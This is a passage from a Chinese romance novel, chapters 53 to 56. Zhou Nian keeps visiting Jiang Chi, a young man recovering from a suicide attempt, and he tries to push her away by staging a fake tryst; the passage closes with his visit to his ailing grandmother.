叶琳瞄了她一眼,阴阳怪气道:“问你呢,喜欢男人吗?” 周念自顾夹了口菜,试图转移话题:“味道还行。” 叶琳莫名地叹了口气,单手托腮看向周念:“见到江池了吗?” 不知为何,每每想到江池,就会想起那个纹丝不动的黑色剪影,就像被拖入永夜的囚徒,不挣扎,不反抗,自暴自弃,静待死刑。 周念‘嗯’了声,没继续往下说。 叶琳追问道:“他怎么样了?” 方妙一头雾水:“江池?是我认识的那个江池吗?” 叶琳无语,蹙眉看向周念:“她还不知道啊?” 周念抿唇。 方妙愣了几秒,突然瞪大眼睛看着周念:“你跟江池?” 她胳膊往桌上一搭,双手交叉紧扣,豁然道:“怪不得那天聊起江池自杀,你反应那么大。我怎么没想到呢!” “原来你就是那个罪魁祸首。” 叶琳无语地贴着椅背,恨不得给她翻个白眼。 “你好端端的跟她提这些干什么?让她回来受这罪。” 方妙一脸无辜:“冤枉啊!你俩才是,瞒了我那么久。我要知道小念跟他,我怎么敢提啊而且也不是我提的。” 她顿了顿说话的声音小了下去:“你给我一百个脑袋,我都想不到他们会有联系” “好啦。” 周念握住叶琳的手说:“和妙妙无关,我迟早都会知道的。” 方妙似乎又想起什么,握紧筷子往桌上一敲。 “所以高三那会儿,你拉着我学了一晚上围巾,是织给江池的?” 周念不否认:“嗯。” 方妙还是不能理解:“那他们为什么传你钓着他啊?” 周念指节不经意间蜷起,叶琳偷偷瞄了她一眼只说。 “哎呀,跟你解释不清楚。” 实验室每天都有收尾工作,这些天周念回得早,心里有些过意不去,今晚主动提出留下来收尾。她做事专注,常常因为太过投入而忘记时间。等她把数据整理完,墙上的挂钟显示快过十点了…… 她记着昨晚给江池的短信——明天我还会来。 于是快速整理完设备,打车去了江池小区。 走到单元楼楼下,她抬头张望江池的房间,房内灯火通明,他还没睡。于是她朝着那个黑黝黝的楼道走去,走至三楼,门缝里有光束透出。 她敲了敲门,无人回应。 她原地伫立,半晌,又叩响铁门。 “我知道你在里面。” “我就在门外。” 她看了眼手机屏上的时间。 “十一点我就走。” 隔着铁门,江池正坐在沙发上发呆,她不知道的是他已经魂不守舍地坐了一晚上了,期间下过两次楼。 周念坐在门口的最近一级台阶上,打开笔记本电脑将手头的数据重新整合,发到群里,第一个回消息的是郑渊。 ——那么晚,还没回家? ——已经回家了。 过了会儿,他又发来。 ——不愧是孙老师破格推荐的人,报告清晰明了。 周念只当是组员间的恭维 。 ——不敢当。 周念以为到此就没下文,谁曾想这人私信过来。 ——有个不情之请。 ——周末到‘夜话’帮我试一下新品,因为你是唯一一个尝出我家橙汁和别家不一样的。 周念汗颜,这人总是在正经和不正经间横跳,她没把话说死,只说:有空的话就去。 谁料,郑渊当她是答应了。 ——周日,我去你家接你。 结束对话,周念怔怔望着电脑屏幕出神。就在昨晚,就在这个位置,她对江池说出那些话。 想到他不愿继承父亲靠出卖母亲身体而得来的财产,骨子里那么骄傲一个人。而她,不管是不是害死傅研的罪魁祸首,周围的人都已经盖棺定论,所以呢,所以会有结果吗? 想到这,周念的心像被人剜了个洞,绵密的疼从空洞里渗出来。 她回头看了眼门缝里透出来的光,心想:命运啊,为什么总爱设这种荒诞的路障。 她不想被无能为力的情绪左右,迫使自己重新投入到工作中。然而此时,楼下响起了一深一浅两个脚步声,她看了眼屏幕右上角的时间,快十一点——今晚,江池是不会见她的。 正当她打算收拾电脑回家时,脚步声已经拾级而上近在咫尺。 借着电脑屏的弱光,周念看到拐角处出现了两个男人。走在前面的是个高大壮实的光头男,而后面那个与之相反,又瘦又矮一举一动都像只猥琐的猴子。 周念咽了口气,冷静而快速地回避两人的视线。 两个男人见到台阶上有个女的,打量的眼神不加掩饰,打量完还默契地相视一笑,发出骇人而猥琐的笑声。周念只尽量垂眸不与他们有任何眼神接触。 高个男人减缓了步子,目光始终停留在周念身上,就在两人与周念擦肩的瞬间,男人的脚步猝然停止。 “小姑娘,你一个人啊?” 周念置若罔闻,手指却在电脑上胡乱敲打。她自认能应对赵樾这种衣冠楚楚的斯文败类,但对于不讲道理的地痞流氓,她根本没有把握。 男人身体稍稍挨近问:“我们同一栋楼的,要不要认识一下?” 周念心跳陡然加速,却佯装镇定不予理睬。 男人忽然玩味儿似地笑笑:“你紧张什么?法治社会,哥哥们又不会对你做什么?” 后面的男人也笑,声音细而尖,与他样子如出一辙的猥琐。 “长得真嫩啊。” “别怕,我们加个微信认识认识?怎么样。” 就在这时,身后那道门突然发出低沉的‘咯吱’声,门缝那丝光束被强烈的灯光取而代之。 江池开门时刻意放轻动作,目光扫过两个男人后,径直落在周念身上。 “没带钥匙不会打电话?” 周念赶紧把笔记本收好,快步走到他跟前,江池不动声色地扫过两人,将手搭在周念肩头,把她往门里带。 “下次记得早点回家。” 周念乖乖点了点头。 门口两人见状,悻悻道:“啧,真没劲。” 合上门,搭在她肩头的手快速滑落。 周念看着屋内丝丝缕缕的青烟,没忍住呛了几口,对于刚刚的事,她仍心有余悸。 “谢谢。” 江池没看她,拿起桌上的打火机和烟转头回了房间,进门前微微偏头看向他处。 “等他们上楼,你就走。” 说完,自顾回房关门,留给她一个空荡荡的客厅。 周念怔怔地看向那扇紧闭的房门,又回首看着身后那扇铁门,不自觉微微勾唇。 烟味实在太冲,她走到窗前打开窗户,寒意裹着雨丝卷入屋内,她放眼远眺楼下的路灯,橙黄光晕下,小雨稠密如纱。 沙发前的地面上,散落一地烟头,周念粗粗看眼足足有十几根,她把烟蒂捡进垃圾桶,抽出纸巾将烟灰抹干净,擦完,走进厨房洗手。 厨房很小,除去灶台水池,堪堪放下一只冰箱。周念扫了眼,刀具是新的,砧板是新的,抹布白得一尘不染,除了昨晚火锅剩下一些蔬菜堆积在角落,其他地方几乎没有生活痕迹。 周念愣神时,江池已经走到厨房门口,他紧抿着嘴唇,嘴角微微下撇,不难看出心里正窝着一团火。 “还不走?” 目光越过江池,周念看向墙上挂钟,不徐不疾得说到。 “没到时间,十一点我就走。” 她看向灶台上的新厨具,又瞥了眼角落的蔬菜询问道。 “抽那么多烟,吃过饭了吗?需要给你煮点吗?” 江池眉头紧簇,蓦地上前一步。 “你什么意思?” 周念仰头,平静地回视他。 “很难理解吗?我问你饿不饿,想不想吃东西。” 说完,走到灶台前,佝着背去点燃气,随着丝丝的电子声响起,几簇蓝色火苗窜了起来。 周念唇角微扬,直起身:“还好,能用。” 江池走上前,关掉燃气,然后按住周念的肩头,猛地一扳,让她转过身来,两人对峙着。 “走,少在这里假慈悲。” “随你怎么想。” 她刚要伸手去拿锅子,手腕就被人江池用力钳住,他提了口气,语气里充斥着无奈。 “周念,你到底想怎么样?” “你看不出来吗?” 周念用那双逐渐红润的眼睛,直直地望向他的眼睛。 “我舍不得你死。” 江池身形一僵,手上的力道不自觉轻了几分,他快速回避那双可怕的眼睛,沉默半晌才挤出一声闷笑。 “收起你那点虚伪的同情心,我不需要你可怜我。” 周念垂眸时唇角掠过一丝苦笑,目光不由自主地飘向他的手腕。黑色袖口垂落,她看不到那道狰狞的疤痕,也想象不到他当时的绝望,她只知道,她不想江池死。 “不是同情,不是可怜。” 周念再一次去够他的视线。 “是我忘不掉你。” 她的声音渐渐低下去:“你舍得忘掉我吗?” 江池到底也没回应她的问题,一个人默不作声地回了房间,再也没出来。昨晚,他一夜没睡,周念走时,特意看了时间,十一点,一分不差。 次日清早,他走出房间,发现桌上有她留的面,早已坨成一团。他只偏头看了眼便出门了。 他在便利店买了包烟,走到半路又折返回来,目光在货架上扫视。 老板看他找东西便问:“找什么?” 江池:“灯泡有卖吗?” 第54章 第54章再不走,就哄不好了…… “念念,最近怎么回来得越来越晚了。” 张宁正用碟子盛放新买的包子和油条,余光始终留意着周念,她把早餐放在桌子中央,忙完,径直走向厨房。 “昨晚到家都十二点多了。” 周念瞧了眼早饭,都是油腻易饱的碳水,悬在半空的手一时摇摆不定。最后选了一根最小的油条,掐了一小段往嘴里送。 “实验室忙。” 张宁回厨房拿了三个玻璃杯,又折向冰箱拿牛奶,语气中全是狐疑:“是吗?才大三有那么忙吗?” 周念慢慢咀嚼:“您要不信,可以自己去看。” “妈不是这个意思。” 张宁关冰箱门的手一顿,小声抱怨:“长大了,真是一点都不能问了。” 一段油条足足嚼了半分钟,周念咽完突然看向周宏伟:“爸,我向您咨询个事儿?” “咨询?” 这些年来,除了日常招呼,周念几乎不与周宏伟聊天。她突然问起,周宏伟有点不知所措:“什么事儿?” 周念没着急说,举着牛奶迟疑:“我这个年纪,还能参加高考吗?” 周宏伟把咬一半的包子放进碗里,若有所思地点点头:“按道理,只要有高中文凭都可以参加高考,不过一些特殊专业会有年龄限制。” 听到结果,周念浅浅地弯起唇线。 张宁余光瞥见那一抹笑,眸子一转,故作随意地问。 “你身边还有没考大学的人吗?这种人还是少接触为好。” 周念收敛笑意,没搭话。 张宁见她态度转变,意识到自己扫了她的兴,立刻转移话题。只见她拿出手机打开与叶硕的微信,将对话框里的照片放大。 一张男人的生活照,黑框眼镜,Polo衫,相貌平平,笑起来透着一股精明的算计,标准的体 制内长相。 “长得怎么样?” 周念扫了眼,没评价,只说:“我暂时不需要。” “不是妈妈的意思,这是你叶阿姨给你介绍的,总不好驳了人家面子,你就聊聊,聊得不错就出去见一面,要是聊不到一块儿就罢了。” 张宁一直注意着周念的脸色,见她兴致不高,心中冒出一团无名火,刚想数落她,就听周念不紧不慢地说。 “好,反正我向来就是被告知的那个,既然您已经决定了,我还能有什么理由拒绝呢。” 张宁喜笑颜开:“那我这就给你发过去,记得别太冷落人家了,知道吗?” 周日,周念依然去了实验室,她自觉花了太多的时间在江池身上,刚好利用周末补下拙。下午时分,郑渊发微信问她几点接她比较合适,她才想起他的‘试酒’邀请。 周念看了眼手机下午四点,又环顾四周,该做的都做完了,没有额外流程。她思忖片刻,给郑渊发去微信。 ——晚上8点以后吧,现在没时间。 郑渊说好,八点再联系。 她慢条斯理地整理仪器设备,整理完回了家。 银城的腊月寒风刺骨,不似北城总飘着绵密的雪粒子,刮得人脸生疼。而银城的风更甚,能穿透衣衫,将阴冷一寸寸扎入骨髓。 周念怕冷,特别怕南方的阴冷。这些天,她总是把羽绒衣从上到下裹得严严实实,而今天,从实验室回来,她脱下羽绒衣,换上及膝的针织连衣裙,外头套上一件卡其色呢大衣,脚踩一双驼色马丁靴。她把头发束成温婉的低马尾,出门前特意涂了显色的口红。 晚八点,弄堂外。 郑渊降下车窗看她,不自觉挑了挑眉,笑着看她坐进副驾驶。 “那么重视我的品酒之约,真是荣幸之至。” “” 不至于。 周念想解释,话到嘴边咽了回去。 郑渊用下巴点了点周念托特包里的笔记本。 “喝酒也带电脑。” “一会儿还得去别的地方。” 郑渊的车技还是一如既往的烂,油门和刹车在他脚下随意切换,眼看着要冲过那只跳闪的黄灯,哪知他又猛地一脚刹车,刹得周念猝不及防差点和副驾驶挡板来个亲密接触。 没吃晚饭这件事,无疑成了周念今天做的最正确的决定。 郑渊专心致志地开车,等红灯的间隙突然拿出手机,点开照片——周念在‘夜话’喝深水炸弹的照片。 确认她看到后,郑渊放下手机,转而竖起大拇指。 “牛!” “” 周念尴尬地扯笑解释说:“还是吐了。” 郑渊轻笑道:“既然深水炸弹都可以,那帮我尝尝鸡尾酒应该不在话下吧。” 周念也不知道哪儿来的自信说:“可以。” 郑渊瞧她信心满满的小样子,觉得怪可爱的,调侃道:“看样子,不喝八九杯不在话下。” “对了。”郑渊目标瞟了眼手机说:“没记错的话,照片里那男的是跟我打架那位?方便说一下你们的故事吗?” 周念抿了抿唇,视线落到窗外:“我跟他哪有什么故事。” 郑渊遗憾地嘟嘴:“哎,平白无故被人打了一拳,打完连知情权都没有。” 周念不想从头到尾慢慢叙述,只说:“用了一些不太光彩的手段,让学校把他开除了。” 郑渊‘啧’了声,眼神竟有些崇拜:“不光彩的手段?” 周念:“” 郑渊:“那他对你挺客气的。” 周念:“” 八点多的‘夜话’还很冷清,周念随郑渊走向吧台的路上,不动声色地扫了眼徐明一行人的老位置,位置上没人。 郑渊抬手,冲着吧台后的调酒师打了个响指,高声道:“两杯鸡尾酒,一杯天使之吻,一杯自由古巴!” 说完向周念解释:“从度数低的开始。” 周念无所谓,任他安排。 不一会儿,调酒师手法娴熟地将两杯酒调好,推到他面前。郑渊一手稳稳端起一杯,刚朝着卡座的方向走去,就被周念叫住:“就在这儿喝吧。后面还有好几杯呢,省得一趟趟来回跑了。” 郑渊脚步一顿,扭头看向周念,笑着点头,顺势在吧台边的高脚凳上坐了下来。 “天使之吻。” 他把一小杯深棕色酒推到周念面前,手掌朝上:“请。” 天使之吻底部是深邃的巧克力海洋,顶部如蓬松的洁白棉絮,最上方还点缀着一颗用竹签固定的樱桃。周念取出樱桃的一瞬,白色棉絮上浮现一个浅棕色的‘吻’。 周念抿了口,不自觉地皱了下眉头,她果然不爱喝酒。 喝完,眼尾不经意扫过‘夜话’门口。 这时,赵樾一行人陆陆续续走了进来。 郑渊瞧她蹙眉的模样略显惊讶:“就这都喝不下去?那你怎么敢玩深水炸弹的?” 周念浅笑说:“卖惨呢。” 郑渊:“卖给谁看?” 周念垂眸不语,而是再一次看向赵樾那头。 “自由古巴。” 郑渊把另一杯酒推过来:“好好品,喝完要写PPT的。” “???” 周念歪着脑袋仿佛在说‘来之前你也没说啊?’,瞧她一脸不可置信的小表情,郑渊差点笑出声:“开玩笑呢!这都信。” 周念扶额,举起酒杯喝了一口,还未喝完,郑渊已经转向调酒师。 “再来一杯” 话未完,‘哐当!’一声脆响。 当时驻唱未到,酒吧异常安静,这声响动几乎吸引在场所有人的目光。周念忙跳下高脚凳,准备清理现场。 郑渊拦住她:“别动,一会儿扎破手,让保洁扫一下就好。” ** 江池把家里能扔的都当垃圾扔了,第三次开门,视线瞥向那级空荡台阶时,他觉得自己有病,而且病得不轻。扔完最后一小袋垃圾,江池漫步去了便利店,便利店老板见他进门,不等开口就从货架上抽出他常买的烟。 江池在便利店漫无目的地逛了两圈,最终回到收银台,从柜台边的纸箱里抽出一瓶水再问老板要了一包烟。 付款时周念来了短信——今天有点事,我晚点过去。 也是奇怪,看到周念的短信,焦躁的心顿时就静了下来。 江池坐在长椅上,仰头灌了口水,掌心手机又有颤动,他边喝边去查看。看到赵樾发来的照片,他瞳孔骤缩,目光明显暗沉下来。 他拧紧瓶盖,将剩下半瓶水抛向垃圾桶,面无表情地静坐几秒后,倏地起身走到垃圾桶旁点了根烟。 他沉默地吸了两口,目光虚焦在地面的裂缝上,抽到一半忽然提了口气,将未抽完的烟往下一扔匆匆碾灭,转身离开。 ** 终归是不胜酒力的,即便每种只浅尝几口,但酒精积攒到一定量,周念两颊还是浮现出淡淡的绯红色。郑渊也瞧出她确实不是喝酒的料,就问吧台要了两杯果汁。 想起刚刚她自信满满地模样,郑渊不禁戏谑:“你刚刚那架势还以为是千杯不醉的女中豪杰。” 周念笑笑:“不做做样子,怎么骗郑老板的免费酒喝?” 郑渊把她面前的酒移开,将果汁推过来。 “喝点果汁吧,要是醉了,明天就不好向导师交代了。” “不喝了,去趟厕所。” 从厕所出来时周念仍带着醉意,她倚在洗手台前,将绵柔巾浸了冷水按在脸上。正当她沉浸在凉意之中,头顶的灯光忽然暗了半度,瓷砖地面的反光也跟着沉了沉。她猝然抬头,镜中江池的身影正笼在暖光 与冷影的交界,额前碎发将眸光切出半片阴影,唯有喉结随吞咽动作轻轻滚动。 她又用棉柔巾揉了揉眼睛,敛起鬓边碎发才慢慢转过身,声音带着点温吞地迟疑:“你也在啊?” 江池垂眸,直直地看向她略无措的眼神,忽地笑了。 “我打扰到你的好事了?” 周念脸上闪过一丝不易察觉的窘迫。 “没有。” 她原地深吸一口气,无意识捋了捋鬓发,恢复镇定。 “我一会儿跟你解释。” 说完就要走,擦肩的一瞬,江池扣住她的手腕,轻轻一拽,将她拽回到自己跟前。 “那么着急去哪儿?” 周念抿唇,沉默。 真是不管几年过去,每次看到周念这幅模样,总能让江池着急上火。 “在那儿跟我玩深情,在这儿跟别人眉来眼去?” “不是你想的那样。” 周念平静地抬头,凝视他的眼睛,再次开口时,语气里竟无一丝忐忑。 “而且,你不是不想见我吗?应该也没权利管我去哪里,跟谁眉来眼去。” 江池咬咬牙,莫名地低笑一声,点点头:“也对。” 江池松开她的手,比她先一步到达吧台。目光不加掩饰直直落在郑渊脸上,郑渊被看得莫名其妙,挑了下眉刚想问‘我们认识?’,江池的视线就从他身上掠过,转向吧台另一处。 周念见状舒了口气,毕竟‘冲突’并不在她的计划之中。好在江池没冲动到要动手。 江池走到一个穿着露骨的女人身边,依然是直白的眼神。女人先是余光瞥见,确定被人盯着后,半转向江池,看清对方容貌后嘴角不自觉上扬。 她单手托腮,无声地做了个口型。 “找我?” 江池勾勾唇:“喝酒了吗?” 女人诧异得挑眉,说:“还没。” 闻言,江池将口袋的车钥匙摔在吧台上。 “会开车吗?” 女人的唇角始终扬着,她用食指挑起钥匙串。 “会啊。” 江池微歪着头:“走?” 女人勾住钥匙,笑着朝他走去。 两人一前一后走出‘夜话’。 周念静静地看着两人出门,走去跟郑渊道别。 “我得先走了。” 郑渊不解:“那么着急?” “嗯。”周念语气无奈:“再不走,就哄不好了。” 第55章 第55章那么多年了,说谎的本事…… 女人顺着江池手机导航一路行驶进小区,车子停在单元楼楼下。她有点诧异,身边这个男人自上车后就不再说一句话,板着个臭脸像是谁欠他似的。 到达地点后,江池仍坐在副驾驶一动不动地看着车窗外。 “不下车?” 女人的手有意无意地划过他的大腿。 “还是在车里?” 即便视线紧盯单元门,江池仍能精准抓住她拂来的手,他慢慢偏过头,唇角勾起一抹若有似无的笑。 “着什么急?” 女人被他撩出心头火烫,笑着抽手,娇嗔道:“你叫人家来的,怎么能算我着急呢。” 江池极浅地哼笑一声,视线重新回到那扇单元门内。 周念本就酒劲未消,加上银城堵车,师傅一脚油门一脚刹车的反复折腾,她恶心得差点就要吐在车里。下车后,新鲜空气猛灌入肺,才缓过来。 下车后她小跑着往单元楼奔去,鞋底在结冰的路面上打滑,跑到铁门前时膝盖已经开始打颤。胃里的翻涌混着剧烈喘息,冷汗顺着后颈渗进衣领。实在没力气支撑她站着,她只能扶着那扇锈迹斑斑的铁门,慢慢蹲了下来。 车内,江池不自觉皱了眉,原先耷拉的双肩在这一瞬绷成直线,喉结重重滚动,拳头无意识地攥紧。 女人留意到他的微妙反应,顺着他的视线望向窗外,迟疑道:“认识?” 江池没说话,身体向后跌进椅背,他从口袋里摸出烟盒,点燃一支烟,火光在睫毛下忽明忽暗。 歇了会儿,周念缓缓起身。她看向漆黑的楼道,一时不确定江池是否把女人带上楼了。踏上楼道的瞬间,漆黑的楼道顿时亮起白光,恍若白昼。周念抬头望向那盏刺眼的灯,疑惑地退回到单元楼下,又抬头看了眼门牌——没错,确实是这里。 她恍神一瞬,唇角突然弯起一抹好看的弧度。 周念一路向上,楼道的灯逐一亮起。她停在三楼门口,屈指叩响大门,不知该说什么,又补了两次叩击,门内始终寂静无声。于是她像往常一样蜷坐在那级台阶上,取出电脑,专心地处理起手头的工作。 江池点完烟,开门:“下车。” 女人原本刷手机刷得有点不耐烦,觉得这个男人一晚上都莫名其妙的,心里顿时萌生退意。但他一声令下,自己居然愿意乖乖配合。她开门下车,江池大步流星往前,她只得踩着高跟鞋匆匆跟上。 走到楼道口,江池突然驻足,等女人走到面前,他的手很自然地搭在她肩头。车上被冷落了一个小时,现在他突然搂上来,女人竟有点受宠若惊,于是她笑着去搂他的腰。 两人走至二楼,江池突然止步,只见他原地提了口气,又改变主意把女人的手从自己腰上轻轻拂去。 女人有理由相信,面前这男人脑子有病。她朝天翻了个白眼,心想要不是看在他长得标致,老娘哪有闲工夫陪他在这儿瞎闹。 江池看到周念时,她正坐在台阶上绷紧小脸处理公事,而不是彷徨无措在门口绕圈踱步,他心头顿生一股拳头打在棉花上的无力感。也就在那一瞬间,他的脸冷得像块千年不化的冰山。 周念余光瞥见两人一前一后上楼,敲键盘的手一顿,她抱着笔记本倏地站起来,目光游离在两人脸上,她张了张嘴准备说点什么,还没说出口,江池已经与她擦肩而过,期间甚至没有看她一眼。 于是她眼睁睁看着两人进了门。 江池把人带进房门,自己则拉开书桌前的椅子,一屁股坐下。见到女人不知所措的眼神,他稍稍偏了下头,视线落到床上,用眼神示意:坐。 女人不明所以地挑了下眉:“帅哥,你什么意思啊,坐那么远怎么办事儿啊。” 江池轻笑一声,理直气壮:“我什么时候说过要跟你办事了?” 女人被他气笑了,她往后撸了把头发,坐上床。 “没这样开玩笑的,谁的时间不是时间?总不能仗着自己有点姿色就为所欲为吧。” 江池松松垮垮地坐在椅子上,反手拉开抽屉,从抽屉里拿出一叠百元大钞扔床上。 “够吗?” 女人瞥了眼床上颇为可观的钱,恼意全消。 “那得看让我做些什么了,犯法的事儿我可不干。” “会叫/床吗?” 女人忽地失笑,视线游走在他身上:“那得看有没有人配合了。” 江池也不惯她:“那你走吧。” 女人一下子被架在那儿骑虎难下,她垂下眼眸,用眼睛丈量着钱的厚度,起码大几千。她默了秒,手指轻轻地在钱上摩挲,不就叫几声吗,不亏。于是故作不情不愿道:“干叫啊?” 江池起身,走到门口,把房门大开。 “随你怎么叫。” 说完,一个人走出房门。 女人的声音穿过门缝传入周念耳中,当时她正心不在焉地整理早上的数据,听到这一声略显干涩的叫声,她下意识地回头看向那扇门。 女人为了拿钱拿得心安理得,叫得卖力,直让江池频频蹙眉,没多久,他敲了敲房门,女人的尾音突然掐在喉间。 “够了。” 女人惊喜,这钱未免也太好赚了,为防止时间过短,江池会收回一部分钱,她干脆把钱放进小包,猜想对方应该不会那么没品,伸手从自己包里拿钱。 女人走出房间,怕他反悔,匆匆忙忙要走。江池坐在沙发上用眼神示意:“不急,坐会儿。” 拿人手短,女人只好听 话乖乖地落座。 女人嫌干坐着无聊,回想起刚才一些细枝末节大抵是猜到了什么,她单手托腮撑在沙发上,压低声问:“门外那个,你女朋友?为了气她?” 江池缄默不语,甚至连个眼神都不带给的。 女人无趣地嘟起嘴。 “别玩过头了把人气走了,我看你倒是挺在意她的。” 闻言,江池不动声色地绷紧唇线。 半晌,江池开口了:“你走吧。” 话音未落,女人立马起身,几乎是蹦跳着去开门。开门的一瞬,女人对上了门外那双波澜不惊的眼。她轻手轻脚合上门,纳闷地想着,这姑娘真能忍啊,一声不吭坐外头,不会是经常被这样冷落吧。这般想着,她又没好气地给门内某人翻了个白眼。 死渣男! 江池仰头靠在沙发上,他不确定周念有没有被激走,甚至不确定她走后会不会再来。他猛然睁眼,刺眼的灯光骤然扎进眼缝,起身走到门口,慢慢推开大门。 此刻周念正举着手准备敲门,两人四目相对,一时无声。 周念举起的手轻轻垂落,似笑非笑地开口:“那么快啊,结束了?” 江池:“” 不等他说话,周念一步上前,撑开门径自挤了进去。江池眼睁睁看着她将包甩在沙发上,笔记本往桌面一放,目光扫过墙面,最终落在墙角的插座上。 “借个电用。” 她开启电脑,打字前视线突然转向江池:“以后别花这种冤枉钱。” 江池身形一顿,他看不穿她,只觉得她可怕。三年前那个晚上,他好不容易说服自己放下,可三年后她却毫无预兆地闯入,连考虑与拒绝的余地都不留给自己。他忽地自嘲一笑,轻轻关上门,几不可查地叹了口气。 这会儿,烟瘾又犯了,他自顾自回屋走到窗边点了根烟,点完回客厅,周念已经不见踪影,可她的电脑和包还安静地躺在那边。 江池看向大门,门没合实虚掩着,灯光穿过门缝盖在她刚刚坐过的台阶。 约莫二十分钟,周念提着一大袋速食进了门。走进厨房时,特意回头看了眼江池。 “我饿了,你饿吗?” 也不等他回答,周念把整个冰箱塞得满满当当,塞完后,从满柜速食中抽出一盒水饺。 这时,张宁给她打了电话,看着屏幕上的字眼,没由来地短叹一声,然后接起电话。 “妈?” “念念,几点了还没回来,你在哪儿呢?” 周念回头看了眼墙上的挂钟,十点半。 “我在实验室,还有一些活没做完,做完我就回去。” “下次把你同学的电话给我一个吧,你老那么晚回来,我不放心。” “好。” 简单说了几句,就挂了,周念将煮完的水饺分两份盛入碗中。盛完,她尝试着将两碗一起端出去,可灼热的碗沿让她缩回手,于是她朝门外扬声道。 “能过来帮我一下吗,太烫了,我端不动。” 江池站在原地没动,她从门框里探出半个脑袋,眼神求助。 “你不饿吗?” 江池仍杵着,纹丝不动。 周念没辙,试图用抹布裹住碗沿,还没动手,头顶的光暗了半寸,面前两碗水饺被江池徒手端走。 周念看着桌上两碗数量不一的水饺,将少的那碗移到自己面前,多的那碗推给江池,之后默不作声地吃了起来。 江池抱臂坐在她对面,静静地看她进食,半晌,突然闷笑。 “那么多年了,说谎的本事还是炉火纯青。” 周念拿勺的手一顿,心想他刚刚应该是听到了她跟张宁的对话,她放下勺子,直视他讥诮的目光。 “也有真话。” 江池的心陡然一跳,就听她说。 “看对谁说。” 周念垂眸,用勺子搅动汤里的水饺。 “至少对你,都是真的。” 吃完最后一个饺子,她抽纸巾擦嘴。 “吃完了把碗洗了,我先走了。” 第56章 第56章快下雨了,去我家关窗户…… 江池将车停在半山腰,他关上车门半倚着车门点了根烟,目光不经意间掠过零星散布的几座小别墅,远眺山下大片住宅,最终落在周念家那片小楼上。 山上的风如强劲的刀撕开烟雾编织的薄纱,让本可以抽得久些的烟一下子烧到了头。 江池将烟蒂扔进旁边的垃圾桶,朝其中一座别墅缓步走去。他在别墅外驻足,正犹豫是否该进去,大门已从里面打开。一个四十出头、雍容富态的女人探出头来,见到来人是江池,先是一愣,随即意味不明地扯了扯嘴角,最后笑着引他进门。 “小池来了,进来啊。” 女人是江池的舅妈薛芳,作为舅舅傅时的第二任妻子,她平时与江池鲜少往来,只在傅研去世时说过几句话。 江池微微颔首,随她进门。薛芳让阿姨给江池准备点心,转头问道:“你今天来找你舅舅还是你外婆?” 江池抬眼望向二楼深处的房间:“我去看看外婆。” 薛芳本就懒得客套,随手挥了挥:“去吧。” 待他拾级而上,薛芳不客气地冲他背影翻了个白眼:“没礼貌。” 江池路过傅时房间时,正巧碰上傅时开门出来,两人目光相触的瞬间都沉默下来。几秒后,江池先开了口。 “舅舅。” 傅时点点头,略显窘迫地移开视线,他张了张嘴,最终欲言又止。江池见他这般拘谨,主动道:“您有话直说。” “也没什么。”傅时不好意思地挠挠头,“最近身体还好吗?” 江池垂在身侧的手指微微收紧:“挺好。” 傅时最终叹了口气,上前半步,抬手拍了拍他的后背。 “以后不能做傻事了。” 江池低眸应声:“嗯,我知道。” 傅时喉结动了动,望向楼梯方向:“去吧,去看看你外婆,她早就念叨你了。” 江池:“好。” 江池刻意放轻脚步推门而入,外婆林静姝正躺在床上小憩。边上的看护见有人来便想唤醒老人,江池及时将食指抵在唇间,无声比出“嘘”的手势:“别吵醒她。” 看护会意,默默退到角落。 江池站在床头,低头凝视着林静姝,数月未见,老人的眼窝陷得更深了,原本灰白的鬓发已全然雪白,整个人像被抽干了水分的枯叶,单薄地贴在床褥上。他转身小声问看护:“她最近身体怎么样? 看护瞥了眼床上的老人,脸色凝重地摇头:“精气神很差。” 江池追问:“吃饭呢?” 看护思索片刻,语气稍缓:“能吃下去,就是吃得少。” 江池这才微微颔首。 上了岁数的人,深度睡眠本就是奢望,何况是在白天。林静姝听到响动,缓缓睁开眼,看清是江池的瞬间,眼眶立刻红了。 “小池来了……” 江池赶忙坐到床边,笑着用指腹抹去她眼角的泪。 “外婆,我来看您了。” 林静姝哭罢,抬起手作势要打他,苍老的手掌落在江池手臂上不过是轻轻一拍,江池故意装疼:“你要打死你宝贝外孙?” “你要再敢提‘死’字,我我也不活了,撞墙算了。” 江池挑了挑眉,下巴一抬故意激她:“去吧,我倒要看看你能不能站起来。” “贫嘴!你呀,气死我算了。” 林静姝气鼓鼓地斜睨他:“带外婆出去走走,总闷在屋里难受。” 他半蹲下身,小心地搀住老人瘦骨嶙峋的胳膊。 “好。” 江池把林静姝打横抱起,轻手轻脚地走下楼梯,小心翼翼地将她安置在轮椅上,又拿羊毛围巾将她裹得严严实实。 傍晚,从半山腰望出去,远处的景致像幅泼墨画,最后一抹残阳卡在层峦叠嶂之中,像条困在水草丛中的赤鳞锦鲤。 轮椅碾过碎石小径时,林静姝突然抓住江池的手腕,掌心的老茧蹭得他皮肤发疼。想起上次自杀的事,老人眼眶又开始泛红。 “上次的事,你可把我这把老骨头吓坏了。” 江池喉结滚动,低声道:“对不起,外婆。” “哎。” 林静姝仰头望着天边的晚霞,脖颈像生锈的齿轮般勉强转过小半张脸: “其实你妈的事情跟你一点关系都没有,这都是个意外。” 江池轻轻‘嗯’了声,没接话。 林静姝感叹道:“他们闹离婚那会儿,你还小不知道其中缘故,发点脾气都是应该的,也怪你妈,非不让我们说。” 江池又顺着她‘嗯’了声,说话间抬手抹了把发烫的眼角。 “门不当户不对的婚事,非要嫁给一个穷小子。” “哼。”林静姝冷哼道:“后来还以为你爸出息了,没想到啊。” 江池喉口哽咽,打断她的话:“您别说了,我不想听。” 林静姝轻轻拍了拍他的手,像哄小时候的他一样。 “外婆就想告诉你,别用别人的错惩罚自己。别困在过去,也别在意别人怎么看,他人的话不过是耳旁风,日子是自己的。” 他盯着地面晃动的树影,闷声应道:“知道了。” 暮色像浸了墨的丝绸漫上来,江池推着林静姝往回走,走至一半,林静姝突然话锋一转。 “有喜欢的姑娘吗?” “嗯?” “外婆是说你现在有没有喜欢的女孩子?” 在这一瞬,脑海中忽然浮现起周念的脸,江池没否认。 “有。” 林静姝眼睛一亮:“照片呢,给外婆看看。” 江池扯了扯嘴角:“以前有,删了。” “闹别扭啊?”林静姝戳了戳他的手背:“你一个大男人,让让人家小姑娘怎么了。” “让她?”江池忽然笑了,笑声里带着说不出的苦涩:“她多厉害啊,让让我才对。” 老人被逗得直乐:“她那么有本事的?” “就是本事太大了。”他声音渐渐小下去:“分不清她哪句是真话,哪句是假话。” 